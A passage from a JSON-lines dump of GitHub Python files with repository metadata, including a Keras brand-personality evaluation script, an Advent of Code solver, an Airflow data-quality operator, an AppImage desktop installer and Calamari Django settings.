\"kinesisvideo\")\n","repo_name":"getmoto/moto","sub_path":"moto/kinesisvideo/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4309,"program_lang":"python","lang":"en","doc_type":"code","stars":7174,"dataset":"github-code","pt":"48"} +{"seq_id":"12065635638","text":"#ht_test_data prediction\nimport os \nimport numpy as np\nimport csv\nimport pandas as pd\nfrom keras.preprocessing.text import Tokenizer\n\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.models import Model,load_model\nfrom keras.utils import to_categorical\nfrom keras.layers import Activation, Dense, Dropout,Input,Add,concatenate\nfrom sklearn.preprocessing import LabelBinarizer\nfrom sklearn.model_selection import train_test_split,StratifiedKFold\nfrom keras.layers import Conv1D,MaxPooling1D,Embedding,GlobalMaxPooling1D\nfrom keras.initializers import Constant\nfrom sklearn.metrics import accuracy_score,classification_report,confusion_matrix,precision_score,recall_score,f1_score\nimport pickle\n\n#hyperparameters\nvocab_size = 30000\nbatch_size = 128\nembedding_dim = 300\nmax_len = 3000\n\n# content/drive/My Drive/ML_Datasets/genData/test_data.pickle\n\n#loading the pickled test data file\npickle_in = open(\"ht_test_text.pickle\",\"rb\")\nX = pickle.load(pickle_in)\n\npickle_in = open(\"ht_test_data.pickle\",\"rb\")\ndata = pickle.load(pickle_in)\n\n\n#loading the pickled tokenizer\npickle_in = open(\"tokenizer.pickle\",\"rb\")\ntokenizer = pickle.load(pickle_in)\n# tokenizer = Tokenizer(num_words = vocab_size)\n# tokenizer.fit_on_texts(X)\n# word_index = tokenizer.word_index\n\n#tokenizing the text data\ntrain_sentences_tokenized = tokenizer.texts_to_sequences(X)\n\n#padding the sequences\nX = pad_sequences(train_sentences_tokenized, maxlen=max_len)\n\ntags = ['y','n']\n\n\nlabel_enc = LabelBinarizer()\nlabel_enc.fit(tags)\n\nY_1 = label_enc.transform(data['cSIN'])\nY_1 = to_categorical(Y_1)\n\nY_2 = label_enc.transform(data['cEXC'])\nY_2 = to_categorical(Y_2)\n\nY_3 = label_enc.transform(data['cCOM'])\nY_3 = to_categorical(Y_3)\n\nY_4 = label_enc.transform(data['cRUG'])\nY_4 = to_categorical(Y_4)\n\nY_5 = label_enc.transform(data['cSOP'])\nY_5 = to_categorical(Y_5)\n\n#concatenating the binary laabels to for n_data_samples*10 (2 for each label [y or n])\nY = np.concatenate((Y_1,Y_2,Y_3,Y_4,Y_5),axis=1)\nprint(Y.shape)\n\n\n\n# 'cSIN','cEXC','cCOM','cRUG','cSOP'\n\n#performing he seven fold validation\nkfold = StratifiedKFold(n_splits=7, shuffle=True, random_state=4991)\n\n#list to store the accuracy, precision, recall score and f1-score for the 7-fold validation\nacscores1 = []\nacscores2 = []\nacscores3 = []\nacscores4 = []\nacscores5 = []\n\nprescores1 = []\nprescores2 = []\nprescores3 = []\nprescores4 = []\nprescores5 = []\n\nrescores1 = []\nrescores2 = []\nrescores3 = []\nrescores4 = []\nrescores5 = []\nfscores1 = []\nfscores2 = []\nfscores3 = []\nfscores4 = []\nfscores5 = []\n\n#loading the trained models\nmodel1 = load_model('my_model_cSIN_tag')\nmodel2 = load_model('my_model_cEXC_tag')\nmodel3 = load_model('my_model_cCOM_tag')\nmodel4 = load_model('my_model_cSOP_tag')\nmodel5 = load_model('my_model_cRUG_tag')\n\n\n#performing the 7-fold validation for all the personality traits\na,b = 0,2\nprint('\\n\\nSincerity')\n \nfor train, test in kfold.split(X, Y[:,a:b].argmax(axis=1)): \n pred = model1.predict(X[test])\n pred = pred.argmax(axis=1)\n c_matrix = confusion_matrix(Y[test,a:b].argmax(axis=1),pred)\n print(c_matrix)\n accuracy = accuracy_score(Y[test,a:b].argmax(axis=1),pred)\n print('Accuracy : ',accuracy)\n # precision = true positive / total predicted positive(True positive + False positive)\n # recall = true positive / total actual positive(True positive + False Negative)\n print(classification_report(Y[test,a:b].argmax(axis=1),pred))\n acscores1.append(accuracy)\n prescores1.append(precision_score(Y[test,a:b].argmax(axis=1),pred))\n rescores1.append(recall_score(Y[test,a:b].argmax(axis=1),pred))\n fscores1.append(f1_score(Y[test,a:b].argmax(axis=1),pred))\n\na,b = 2,4\n\nprint('\\n\\nExcitement')\nfor train, test in kfold.split(X, Y[:,a:b].argmax(axis=1)): \n pred = model2.predict(X[test])\n pred = pred.argmax(axis=1)\n c_matrix = confusion_matrix(Y[test,a:b].argmax(axis=1),pred)\n print(c_matrix)\n accuracy = accuracy_score(Y[test,a:b].argmax(axis=1),pred)\n print('Accuracy : ',accuracy)\n # # precision = true positive / total predicted positive(True positive + False positive)\n # # recall = true positive / total actual positive(True positive + False Negative)\n print(classification_report(Y[test,a:b].argmax(axis=1),pred))\n acscores2.append(accuracy)\n prescores2.append(precision_score(Y[test,a:b].argmax(axis=1),pred))\n rescores2.append(recall_score(Y[test,a:b].argmax(axis=1),pred))\n fscores2.append(f1_score(Y[test,a:b].argmax(axis=1),pred))\n\na,b = 4,6\nprint('\\n\\nCompetence')\nfor train, test in kfold.split(X, Y[:,a:b].argmax(axis=1)): \n \n pred = model3.predict(X[test])\n pred = pred.argmax(axis=1)\n c_matrix = confusion_matrix(Y[test,a:b].argmax(axis=1),pred)\n print(c_matrix)\n accuracy = accuracy_score(Y[test,a:b].argmax(axis=1),pred)\n print('Accuracy : ',accuracy)\n # precision = true positive / total predicted positive(True positive + False positive)\n # recall = true positive / total actual positive(True positive + False Negative)\n print(classification_report(Y[test,a:b].argmax(axis=1),pred))\n acscores3.append(accuracy)\n prescores3.append(precision_score(Y[test,a:b].argmax(axis=1),pred))\n rescores3.append(recall_score(Y[test,a:b].argmax(axis=1),pred))\n fscores3.append(f1_score(Y[test,a:b].argmax(axis=1),pred))\n \na,b = 6,8\nprint('\\n\\nRuggedness')\nfor train, test in kfold.split(X, Y[:,a:b].argmax(axis=1)): \n \n pred = model5.predict(X[test])\n pred = pred.argmax(axis=1)\n c_matrix = confusion_matrix(Y[test,a:b].argmax(axis=1),pred)\n print(c_matrix)\n accuracy = accuracy_score(Y[test,a:b].argmax(axis=1),pred)\n print('Accuracy : ',accuracy)\n # precision = true positive / total predicted positive(True positive + False positive)\n # recall = true positive / total actual positive(True positive + False Negative)\n print(classification_report(Y[test,a:b].argmax(axis=1),pred))\n acscores5.append(accuracy)\n prescores5.append(precision_score(Y[test,a:b].argmax(axis=1),pred))\n rescores5.append(recall_score(Y[test,a:b].argmax(axis=1),pred))\n fscores5.append(f1_score(Y[test,a:b].argmax(axis=1),pred))\n\na,b = 8,10\n\nprint('\\n\\nSophistication')\n \nfor train, test in kfold.split(X, Y[:,a:b].argmax(axis=1)): \n pred = model4.predict(X[test])\n pred = pred.argmax(axis=1)\n c_matrix = confusion_matrix(Y[test,a:b].argmax(axis=1),pred)\n print(c_matrix)\n accuracy = accuracy_score(Y[test,a:b].argmax(axis=1),pred)\n print('Accuracy : ',accuracy)\n # precision = true positive / total predicted positive(True positive + False positive)\n # recall = true positive / total actual positive(True positive + False Negative)\n print(classification_report(Y[test,a:b].argmax(axis=1),pred))\n acscores4.append(accuracy)\n prescores4.append(precision_score(Y[test,a:b].argmax(axis=1),pred))\n rescores4.append(recall_score(Y[test,a:b].argmax(axis=1),pred))\n fscores4.append(f1_score(Y[test,a:b].argmax(axis=1),pred))\n\n#printing the output for all the personaliy traits\nprint('\\n\\nSincerity') \nprint(acscores1,'\\nMean : ',np.mean(acscores1),'\\nStandard deviation : ',np.std(acscores1),'\\nPrecision Score : ',np.mean(prescores1),'\\nRecall Score : ',np.mean(rescores1),'\\nF1 Score : ',np.mean(fscores1))\nprint('\\n\\nExcitement')\nprint(acscores2,'\\nMean : ',np.mean(acscores2),'\\nStandard deviation : ',np.std(acscores2),'\\nPrecision Score : ',np.mean(prescores2),'\\nRecall Score : ',np.mean(rescores2),'\\nF1 Score : ',np.mean(fscores2))\nprint('\\n\\nCompetence')\nprint(acscores3,'\\nMean : ',np.mean(acscores3),'\\nStandard deviation : ',np.std(acscores3),'\\nPrecision Score : ',np.mean(prescores3),'\\nRecall Score : ',np.mean(rescores3),'\\nF1 Score : ',np.mean(fscores3))\nprint('\\n\\nSophistication')\nprint(acscores4,'\\nMean : ',np.mean(acscores4),'\\nStandard deviation : ',np.std(acscores4),'\\nPrecision Score : ',np.mean(prescores4),'\\nRecall Score : ',np.mean(rescores4),'\\nF1 Score : ',np.mean(fscores4))\n\nprint('\\n\\nRuggedness')\nprint(acscores5,'\\nMean : ',np.mean(acscores5),'\\nStandard deviation : ',np.std(acscores5),'\\nPrecision Score : ',np.mean(prescores5),'\\nRecall Score : ',np.mean(rescores5),'\\nF1 Score : ',np.mean(fscores5))\n\n\n\n","repo_name":"Abhinavjha07/Brand-Personality-Detection","sub_path":"src/ht_test_data_prediction.py","file_name":"ht_test_data_prediction.py","file_ext":"py","file_size_in_byte":8228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39387591794","text":"\r\ndef bubble_sort_with_error(arr):\r\n n = len(arr)\r\n for i in range(n):\r\n swapped = False\r\n for j in range(0, n-i-1):\r\n if arr[j] > arr[j+1]:\r\n arr[j], arr[j+1] = arr[j+1], arr[j]\r\n swapped = True\r\n\r\n # Pokud nebyly žádné dva prvky vyměněny vnitřní smyčkou, přeruš cyklus\r\n if not swapped:\r\n break\r\n\r\n return arr\r\n\r\n# Testovací pole s funkcí\r\ntest_array = [64, 25, 12, 22, 11]\r\nsorted_array = bubble_sort_with_error(test_array)","repo_name":"anhthungn/semin-IKT","sub_path":"bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11713450221","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 10 18:17:11 2019\n\n@author: Arthur\nFunction to load parts of the data set IMDB-WIKI into a pandas dataFrame\nhttps://data.vision.ee.ethz.ch/cvl/rrothe/imdb-wiki/\n(Rasmus Rothe, Radu Timofte, Luc Van Gool)\n\"\"\"\n\nimport scipy.io\nimport pandas as pd\nimport os.path\nimport numpy as np\n\ndef load_IMDB_WIKI(file_path, start = 0, nb = 5000, \n info_list = ['face_location']):\n \"\"\"Load parts of the data set IMDB-WIKI into a pandas dataFrame. One can\n specify the meta information required through info_list\"\"\"\n df = pd.DataFrame()\n mat = scipy.io.loadmat(file_path)\n face_score = mat['wiki']['face_score'][0][0][0][start : start + nb]\n second_face_score = mat['wiki']['second_face_score'][0][0][0][start : start + nb]\n face_location_ = mat['wiki']['face_location'][0][0][0][start : start + nb]\n image_path_ = mat['wiki']['full_path'][0][0][0][start : start + nb]\n face_location = []\n image_path = []\n dir_name = os.path.dirname(file_path)\n for i in range(nb):\n if i % 500 == 0:\n print('Loading face data set: {} %'.format(i/nb*100))\n face_location.append(np.array(face_location_[i][0]))\n rel_path = image_path_[i][0].replace('/', '\\\\')\n image_path.append('{}\\\\{}'.format(dir_name, rel_path))\n df['face_score'] = pd.Series(face_score)\n df['second_face_score'] = pd.Series(second_face_score)\n df['face_location'] = face_location\n df['image'] = image_path\n return df\n\nif __name__ == '__main__':\n f = 'D:\\Data sets\\Faces\\wiki.tar\\wiki\\wiki\\wiki.mat'\n df = load_IMDB_WIKI(f)\n","repo_name":"arthurBarthe/Faces","sub_path":"load_IMDB_WIKI.py","file_name":"load_IMDB_WIKI.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28137094439","text":"with open(\"input.txt\", \"r\") as f:\n lines = [l.strip() for l in f.readlines()]\n\nclass Num:\n def __init__(self, val=None, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n def __repr__(self):\n if self.val != None:\n return self.val\n return \"({},{})\".format(self.left.__repr__(), self.right.__repr__())\n\n def explode(self, level = 1):\n global exploded, mustExplode, prior\n if mustExplode and self.val != None:\n self.val += mustExplode\n mustExplode = 0\n \n if self.val != None:\n prior = self\n\n if not exploded and level == 5 and self.left:\n exploded = True\n if prior:\n prior.val += self.left.val\n mustExplode = self.right.val\n self.left, self.right, self.val = None, None, 0\n\n if self.left:\n self.left.explode(level+1)\n if self.right:\n self.right.explode(level+1)\n \n def split(self):\n global hasSplit\n\n if hasSplit:\n return\n\n if self.val and self.val >= 10:\n self.left = Num(self.val//2)\n self.right = Num(self.val//2 + self.val%2)\n self.val = None\n hasSplit = True\n\n if self.left:\n self.left.split()\n if self.right:\n self.right.split()\n\n def magnitude(self):\n if self.val != None:\n return self.val\n return 3*self.left.magnitude() + 2*self.right.magnitude()\n\ndef add(x, y):\n global exploded, prior, hasSplit, mustExplode\n z = Num(left = x, right = y)\n \n while True:\n mustExplode, prior, exploded, hasSplit = None, None, False, False\n z.explode()\n while exploded:\n mustExplode, prior, exploded, hasSplit = None, None, False, False\n z.explode()\n mustExplode, prior, exploded, hasSplit = None, None, False, False\n z.split()\n if not hasSplit:\n break\n \n return z\n\n\ndef parseNum(x):\n if len(x) == 1:\n return Num(val=int(x)) \n if len(x) == 5:\n return Num(left=parseNum(x[1]), right=parseNum(x[3]))\n\n if x[1] == \"[\":\n o = 1\n for i in range(1, len(x)):\n if x[i] not in [\"[\", \"]\"]:\n continue\n if x[i] == \"[\":\n o += 1\n if x[i] == \"]\":\n o -= 1\n if o == 1:\n return Num(left=parseNum(x[1:i+1]), right=parseNum(x[i+2:-1]))\n else:\n return Num(left=parseNum(x[1]), right=parseNum(x[3:-1]))\n\nnums = []\nfor line in lines:\n nums.append(parseNum(line))\n\nmustExplode, prior, exploded, hasSplit = None, None, False, False\nres = nums[0]\nfor num in nums[1:]:\n res = add(res, num)\nprint(res, res.magnitude())\n\nmaxval = -1\nfor i in range(len(lines)):\n for j in range(len(lines)):\n if i == j:\n continue\n m1 = add(parseNum(lines[i]), parseNum(lines[j])).magnitude()\n maxval = max(maxval, m1)\nprint(maxval)\n\n","repo_name":"vrasmus/AdventOfCode","sub_path":"2021/day18/day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":3057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29689377765","text":"from math import gcd,ceil\n\ndef solution(w,h):\n if w==1 or h==1:\n return 0\n \n total = w*h\n answer = 0\n g = gcd(w,h)\n w //=g\n h //=g\n a = h/w\n sub = 0 \n for x in range(1,w+1):\n sub+=(h-ceil(x*a))\n return total - (w*h-sub*2)*g","repo_name":"SonJinHYo/CodingTest","sub_path":"프로그래머스/lv2/62048. 멀쩡한 사각형/멀쩡한 사각형.py","file_name":"멀쩡한 사각형.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70846648785","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\n\nclass DataQualityOperator(BaseOperator):\n\n ui_color = '#89DA59'\n\n @apply_defaults\n def __init__(self,\n redshift_conn_id=\"\",\n dq_check_functions=[],\n *args, **kwargs):\n\n super(DataQualityOperator, self).__init__(*args, **kwargs)\n self.redshift_conn_id = redshift_conn_id\n self.dq_check_functions = dq_check_functions\n\n def execute(self, context):\n redshift = PostgresHook(postgres_conn_id=self.redshift_conn_id)\n \n self.log.info('Running data quality checks')\n \n for check_function in self.dq_check_functions: \n check_result = check_function(records)\n \n if check_result != \"\":\n raise ValueError(check_result)\n \n self.log.info('All data quality checks passed')","repo_name":"HvyD/Music-App-ETL-DataWarehouse-using-AirFlowPipeline","sub_path":"airflow/plugins/operators/data_quality.py","file_name":"data_quality.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"27806714082","text":"#!/usr/bin/env python3\nimport logging\n\nimport os, stat, shutil\nfrom configparser import ConfigParser\nfrom subprocess import Popen, STDOUT, DEVNULL\n\nfrom . import PREFIX, LOCAL \n\nCONFIG = ConfigParser()\nCONFIG.optionxform = str\n\nPNGEXT = '.png'\nDESKTOP = '.desktop'\n\ngetSquashfs = lambda root: os.path.join( root, 'squashfs-root' )\ngetUsrDir = lambda root: os.path.join( root, 'usr' )\ngetIconDir = lambda root: os.path.join( root, 'share', 'icons' )\n\ndef extract( path ):\n log = logging.getLogger(__name__)\n path = os.path.realpath( path )\n dirname = os.path.dirname( path )\n squashfs = getSquashfs( dirname )\n\n log.info('Extracting AppImage : {}'.format(path))\n st = os.stat(path)\n os.chmod( path, st.st_mode | stat.S_IEXEC ) # Ensure the file is executable\n cmd = [path, '--appimage-extract']\n proc = Popen(cmd, cwd = dirname, stdout = DEVNULL, stderr = STDOUT)\n proc.wait()\n if proc.returncode != 0:\n log.error( 'Error extracting AppImage : {}'.format(path) )\n squashfs = None \n\n return path, squashfs\n\ndef getLauncherIcon( squashfs ):\n log = logging.getLogger(__name__)\n log.info('Looking for launcher file and icons')\n desktop = None\n icon = None\n for item in os.listdir( squashfs ):\n if item.endswith( DESKTOP ) and not desktop:\n desktop = os.path.join( squashfs, item )\n elif item.endswith( PNGEXT ) and not icon:\n icon = os.path.join( squashfs, item )\n icon = os.path.realpath( icon )\n \n if desktop:\n CONFIG.read( desktop )\n else:\n log.error( \"Missing '{}' file\".format(DESKTOP) )\n\n return desktop, icon \n\ndef copyIcons( squashfs, icon ):\n log = logging.getLogger(__name__)\n log.debug( 'Copying icons...' )\n usrDir = getUsrDir( squashfs )\n iconDir = getIconDir( usrDir )\n for root, dirs, items in os.walk( iconDir ):\n for item in items:\n if item.endswith( PNGEXT ):\n imgSrc = os.path.join(root, item)\n imgDst = imgSrc.replace( usrDir, LOCAL )\n imgDstDir, imgDstBase = os.path.split( imgDst )\n try:\n os.makedirs( imgDstDir, exist_ok=True)\n except Exception as err:\n log.debug( 'Issue making directory : {}'.format( err ) )\n return False \n imgDst = os.path.join( imgDstDir, PREFIX.format( imgDstBase ) )\n shutil.copy( imgSrc, imgDst )\n if icon and imgSrc == icon:\n icon = imgDst\n return icon\n\ndef install( appimage ):\n log = logging.getLogger(__name__)\n status = False\n log.info('Attempting to install : {}'.format(appimage))\n path, squashfs = extract( appimage )\n if squashfs is not None:\n \n desktop, icon = getLauncherIcon( squashfs )\n if desktop is not None:\n CONFIG['Desktop Entry']['Exec'] = path\n \n icon = copyIcons( squashfs, icon )\n if icon:\n CONFIG['Desktop Entry']['Icon'] = icon\n \n desktop = PREFIX.format( os.path.basename( desktop ) )\n desktop = os.path.join( LOCAL, 'share', 'applications', desktop )\n with open(desktop, 'w') as fid:\n CONFIG.write( fid )\n status = True\n\n shutil.rmtree( squashfs )\n return status\n","repo_name":"kwodzicki/pyAppImage","sub_path":"appimage/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3366269935","text":"# Django settings for calamari project.\n\nimport os\nfrom os.path import dirname, abspath, join\nimport sys\nfrom django.core.exceptions import ImproperlyConfigured\n\nfrom calamari_common.config import CalamariConfig\nconfig = CalamariConfig()\n\nDEBUG = False\nTEMPLATE_DEBUG = DEBUG\n\nADMINS = (\n # ('Your Name', 'your_email@example.com'),\n)\n\nMANAGERS = ADMINS\n\nDATABASES = {\n}\n\ntry:\n import sqlalchemy # noqa\nexcept ImportError:\n pass\nelse:\n DATABASES['default'] = {\n 'ENGINE': config.get(\"calamari_web\", \"db_engine\"),\n 'NAME': config.get(\"calamari_web\", \"db_name\"),\n }\n\n# Hosts/domain names that are valid for this site; required if DEBUG is False\n# See https://docs.djangoproject.com/en/1.5/ref/settings/#allowed-hosts\nALLOWED_HOSTS = ['*']\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# In a Windows environment this must be set to your system time zone.\nTIME_ZONE = 'America/Chicago'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# If you set this to False, Django will not format dates, numbers and\n# calendars according to the current locale.\nUSE_L10N = True\n\n# If you set this to False, Django will not use timezone-aware datetimes.\nUSE_TZ = True\n\n# Absolute filesystem path to the directory that will hold user-uploaded files.\n# Example: \"/var/www/example.com/media/\"\nMEDIA_ROOT = ''\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash.\n# Examples: \"http://example.com/media/\", \"http://media.example.com/\"\nMEDIA_URL = ''\n\nAPPEND_SLASH = False\n\n# Absolute path to the directory static files should be collected to.\n# Don't put anything in this directory yourself; store your static files\n# in apps' \"static/\" subdirectories and in STATICFILES_DIRS.\n# Example: \"/var/www/example.com/static/\"\nSTATIC_ROOT = config.get('calamari_web', 'static_root')\n\n# URL prefix for static files.\n# Example: \"http://example.com/static/\", \"http://static.example.com/\"\nSTATIC_URL = '/static/'\n\n# Additional locations of static files\nSTATICFILES_DIRS = tuple()\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n # 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n# Make this unique, and don't share it with anybody.\ntry:\n SECRET_KEY = open(config.get('calamari_web', 'secret_key_path'), 'r').read()\nexcept IOError:\n # calamari-ctl hasn't been run yet, nothing will work yet.\n SECRET_KEY = \"\"\n\nLOGIN_URL = '/login/'\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n # 'django.template.loaders.eggs.Loader',\n)\n\nCSRF_COOKIE_NAME = \"XSRF-TOKEN\"\nSESSION_COOKIE_NAME = \"calamari_sessionid\"\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'calamari_web.middleware.AngularCSRFRename',\n 'django.middleware.csrf.CsrfViewMiddleware',\n # No authentication ATM\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n # Uncomment the next line for simple clickjacking protection:\n # 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\nROOT_URLCONF = 'calamari_web.urls'\n\n# Python dotted path to the WSGI application used by Django's runserver.\nWSGI_APPLICATION = 'calamari_web.wsgi.application'\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'calamari_web',\n 'rest_framework',\n 'calamari_rest'\n)\n\ntry:\n import graphite # noqa\n\n INSTALLED_APPS = INSTALLED_APPS + ('graphite.render',\n 'graphite.account',\n 'graphite.metrics',\n 'graphite.dashboard')\nexcept ImportError:\n graphite = None\n\ntry:\n import django_nose # noqa\nexcept ImportError:\n pass\nexcept ImproperlyConfigured:\n INSTALLED_APPS = INSTALLED_APPS + ('django_nose',)\n\nTEST_RUNNER = 'django_nose.NoseTestSuiteRunner'\n\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error when DEBUG=False.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'simple': {\n 'format': \"%(asctime)s - %(levelname)s - %(name)s %(message)s\"\n }\n },\n 'handlers': {\n 'log_file': {\n 'class': 'logging.handlers.WatchedFileHandler',\n 'filename':\n config.get('calamari_web', 'log_path'),\n 'formatter': 'simple'\n },\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['log_file'],\n 'level': config.get('calamari_web', 'log_level'),\n 'propagate': True,\n },\n }\n}\n\n\nREST_FRAMEWORK = {\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n 'rest_framework.authentication.SessionAuthentication',\n ),\n\n # Use hyperlinked styles by default.\n # Only used if the `serializer_class` attribute is not set on a view.\n 'DEFAULT_MODEL_SERIALIZER_CLASS':\n 'rest_framework.serializers.HyperlinkedModelSerializer',\n\n # Use Django's standard `django.contrib.auth` permissions,\n # or allow read-only access for unauthenticated users.\n 'DEFAULT_PERMISSION_CLASSES': [\n 'rest_framework.permissions.IsAuthenticated'\n ],\n 'DEFAULT_RENDERER_CLASSES': (\n 'rest_framework.renderers.JSONRenderer',\n 'calamari_rest.renderers.CalamariBrowsableAPIRenderer',\n )\n}\n\n# >>> These settings belong to the graphite app\n\n# Filesystem layout\nWEB_DIR = dirname(abspath(__file__))\nWEBAPP_DIR = dirname(WEB_DIR)\nTHIRDPARTY_DIR = join(WEB_DIR, 'thirdparty')\nCSS_DIR = ''\nCONF_DIR = ''\nDASHBOARD_CONF = ''\nGRAPHTEMPLATES_CONF = ''\nWHITELIST_FILE = ''\nINDEX_FILE = ''\nWHISPER_DIR = ''\nRRD_DIR = ''\nDATA_DIRS = []\nCLUSTER_SERVERS = []\n\nsys.path.insert(0, WEBAPP_DIR)\n# Allow local versions of the libs shipped in thirdparty to take precedence\nsys.path.append(THIRDPARTY_DIR)\n\n# Memcache settings\nMEMCACHE_HOSTS = []\nDEFAULT_CACHE_DURATION = 60 # metric data and graphs are cached for one minute by default\nLOG_CACHE_PERFORMANCE = False\n\n# Remote store settings\nREMOTE_STORE_FETCH_TIMEOUT = 6\nREMOTE_STORE_FIND_TIMEOUT = 2.5\nREMOTE_STORE_RETRY_DELAY = 60\nREMOTE_FIND_CACHE_DURATION = 300\n\n# Remote rendering settings\nREMOTE_RENDERING = False # if True, rendering is delegated to RENDERING_HOSTS\nRENDERING_HOSTS = []\nREMOTE_RENDER_CONNECT_TIMEOUT = 1.0\nLOG_RENDERING_PERFORMANCE = False\n\n# Miscellaneous settings\nCARBONLINK_HOSTS = [\"127.0.0.1:7002\"]\nCARBONLINK_TIMEOUT = 1.0\nSMTP_SERVER = \"localhost\"\nDOCUMENTATION_URL = \"http://graphite.readthedocs.org/\"\nALLOW_ANONYMOUS_CLI = True\nLOG_METRIC_ACCESS = False\nLEGEND_MAX_ITEMS = 10\n\n# Authentication settings\nUSE_LDAP_AUTH = False\nLDAP_SERVER = \"\" # \"ldapserver.mydomain.com\"\nLDAP_PORT = 389\nLDAP_SEARCH_BASE = \"\" # \"OU=users,DC=mydomain,DC=com\"\nLDAP_BASE_USER = \"\" # \"CN=some_readonly_account,DC=mydomain,DC=com\"\nLDAP_BASE_PASS = \"\" # \"my_password\"\nLDAP_USER_QUERY = \"\" # \"(username=%s)\" For Active Directory use \"(sAMAccountName=%s)\"\nLDAP_URI = None\n\n# Required by dashboard app\nJAVASCRIPT_DEBUG = False\nGRAPHITE_API_PREFIX = \"/graphite\"\n\nTEMPLATE_DIRS = (os.path.join(config.get('graphite', 'root'),\n \"lib/python2.{pyminor}/site-packages/graphite/templates\".format(pyminor=sys.version_info[1])),\n )\nCONTENT_DIR = os.path.join(config.get('graphite', 'root'), \"webapp/content/\")\nif graphite:\n STATICFILES_DIRS = STATICFILES_DIRS + (os.path.join(config.get('graphite', 'root'), \"webapp/content/\"),)\n\n# <<<\n\nSTORAGE_DIR = config.get('graphite', 'storage_path')\nLOG_DIR = os.path.dirname(config.get('calamari_web', 'log_path'))\nGRAPHITE_ROOT = config.get('graphite', 'root')\n# Graphite's build-index.sh expects this to be set in environment\nos.environ['GRAPHITE_STORAGE_DIR'] = STORAGE_DIR\n\n\n# Set config dependent on flags set in local_settings\n# Path configuration\nif not CONTENT_DIR:\n CONTENT_DIR = join(WEBAPP_DIR, 'content')\nif not CSS_DIR:\n CSS_DIR = join(CONTENT_DIR, 'css')\n\nif not CONF_DIR:\n CONF_DIR = os.environ.get('GRAPHITE_CONF_DIR', join(GRAPHITE_ROOT, 'conf'))\nif not DASHBOARD_CONF:\n DASHBOARD_CONF = join(CONF_DIR, 'dashboard.conf')\nif not GRAPHTEMPLATES_CONF:\n GRAPHTEMPLATES_CONF = join(CONF_DIR, 'graphTemplates.conf')\n\nif not STORAGE_DIR:\n STORAGE_DIR = os.environ.get('GRAPHITE_STORAGE_DIR', join(GRAPHITE_ROOT, 'storage'))\nif not WHITELIST_FILE:\n WHITELIST_FILE = join(STORAGE_DIR, 'lists', 'whitelist')\nif not INDEX_FILE:\n INDEX_FILE = join(STORAGE_DIR, 'index')\nif not LOG_DIR:\n LOG_DIR = join(STORAGE_DIR, 'log', 'webapp')\nif not WHISPER_DIR:\n WHISPER_DIR = join(STORAGE_DIR, 'whisper/')\nif not RRD_DIR:\n RRD_DIR = join(STORAGE_DIR, 'rrd/')\nif not DATA_DIRS:\n DATA_DIRS = [WHISPER_DIR]\n","repo_name":"ceph/calamari","sub_path":"calamari-web/calamari_web/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":9783,"program_lang":"python","lang":"en","doc_type":"code","stars":350,"dataset":"github-code","pt":"48"} +{"seq_id":"35326299665","text":"from django.conf.urls import url\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom delivery.views import (Orderlist, MealInformation, RoutesInformation,\n KitchenCount, MealLabels, DeliveryRouteSheet,\n RefreshOrderView, CreateDeliveryOfToday,\n EditDeliveryOfToday)\n\napp_name = \"delivery\"\n\nurlpatterns = [\n url(_(r'^order/$'), Orderlist.as_view(), name='order'),\n url(_(r'^meal/$'), MealInformation.as_view(), name='meal'),\n 